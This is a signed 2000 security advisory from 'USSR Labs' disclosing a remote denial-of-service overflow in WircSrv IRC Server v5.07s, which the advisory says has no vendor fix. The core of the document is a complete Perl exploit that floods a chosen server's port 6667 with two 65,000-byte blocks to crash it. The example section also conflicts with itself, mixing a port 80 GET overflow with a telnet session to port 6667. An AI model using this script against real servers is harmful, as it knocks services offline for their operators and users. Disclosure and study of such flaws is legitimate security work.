-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Remote DoS Attack in WircSrv Irc Server v5.07s Vulnerability "THE KING IS THE NEXT RELEASE" USSR Advisory Code: USSR-2000049 Release Date: July 10, 2000 Systems Affected: WircSrv Irc Server v5.07s THE PROBLEM The Ussr Labs team has recently discovered a buffer overflow memory problem in the WircSrv Irc Server. What happens is by performing an attack with a malformed request to port 6667 it will cause the process containing the services to stop responding. SPECIAL NOTE: That we take no responsibility for this code it is for educational purposes only. Example: The http Server (Port 80) service has an overflow in the GET command [hellme@die-communitech.net$ telnet irc.example.com 6667 Trying example.com... Connected to example.com. Escape character is '^]'. [buffer] Where [buffer] is approx. 65000 characters, and the process containg the service crashes Code in Perl: wircsrvdos.pl - -------------------------Start File-------------------- #!/usr/bin/perl ######################################################### # Exploit by USSRLabs www.ussrback.com # WircSrv Version 5.07s Remote DoS attack # send 2 64k blocks of data causes the server to crash. ######################################################### use Getopt::Std; use Socket; getopts('s:', \%args); if(!defined($args{s})){&usage;} my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto); $foo = "A"; # this is the NOP $number = "65000"; # this is the total number of NOP $data .= $foo x $number; # result of $foo times $number $serv = $args{s}; # remote server $port = 6667; # remote port, default is 6667 $buf = "$data"; # issue this response to the server $in_addr = (gethostbyname($serv))[4] || die("Error: $!\n"); $paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n"); $proto = getprotobyname('tcp') || die("Error: $!\n"); socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!"); connect(S, $paddr) ||die ("Error: $!"); select(S); $| = 1; select(STDOUT); print S "$buf"; print S "$buf"; print("Data has been successfully sent to $serv\n"); sub usage {die("\n\nExploit by USSRLabs www.ussrback.com\nWircSrv Version 5.07s Remote DoS attack\nsend 2 64k blocks of data causes the server to crash.\n -s server_ip\n\n");} - -------------------------End File---------------------- Vendor Status: Informed! Fix: No Fix Vendor Url: http://www.wircsrv.com/ Program Url: http://www.wircsrv.com/wirc507s.exe Related Links: Underground Security Systems Research: http://www.ussrback.com CrunchSp Product: http://www.crunchsp.com Greetings: Attrition, w00w00, beavuh, Rhino9, Synnergy.net, SecurityFocus.com, ADM, HNC, #Synnergy (efnet),#hackphreak (efnet), Technotronic, dethy, RFP and Wiretrip. Copyright (c) 1999-2000 Underground Security Systems Research. Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of Ussr. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail labs@ussrback.com for permission. Disclaimer: The information within this paper may change without notice. We may not be held responsible for the use and/or potential effects of these programs or advisories, use them and read them at your own risk or not at all. You solely are responsible for this judgement. Feedback: Please send suggestions, updates, and comments to: Underground Security Systems Research mail:labs@ussrback.com http://www.ussrback.com -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.2 for non-commercial use iQA+AwUBOWnTFa3JcbWNj6DDEQLZ2ACgia9nddqYqtWMbc50HzNhLkukiY0AmNBj C+99hQqRwZA2ATGvyRswy7I= =NRM5 -----END PGP SIGNATURE-----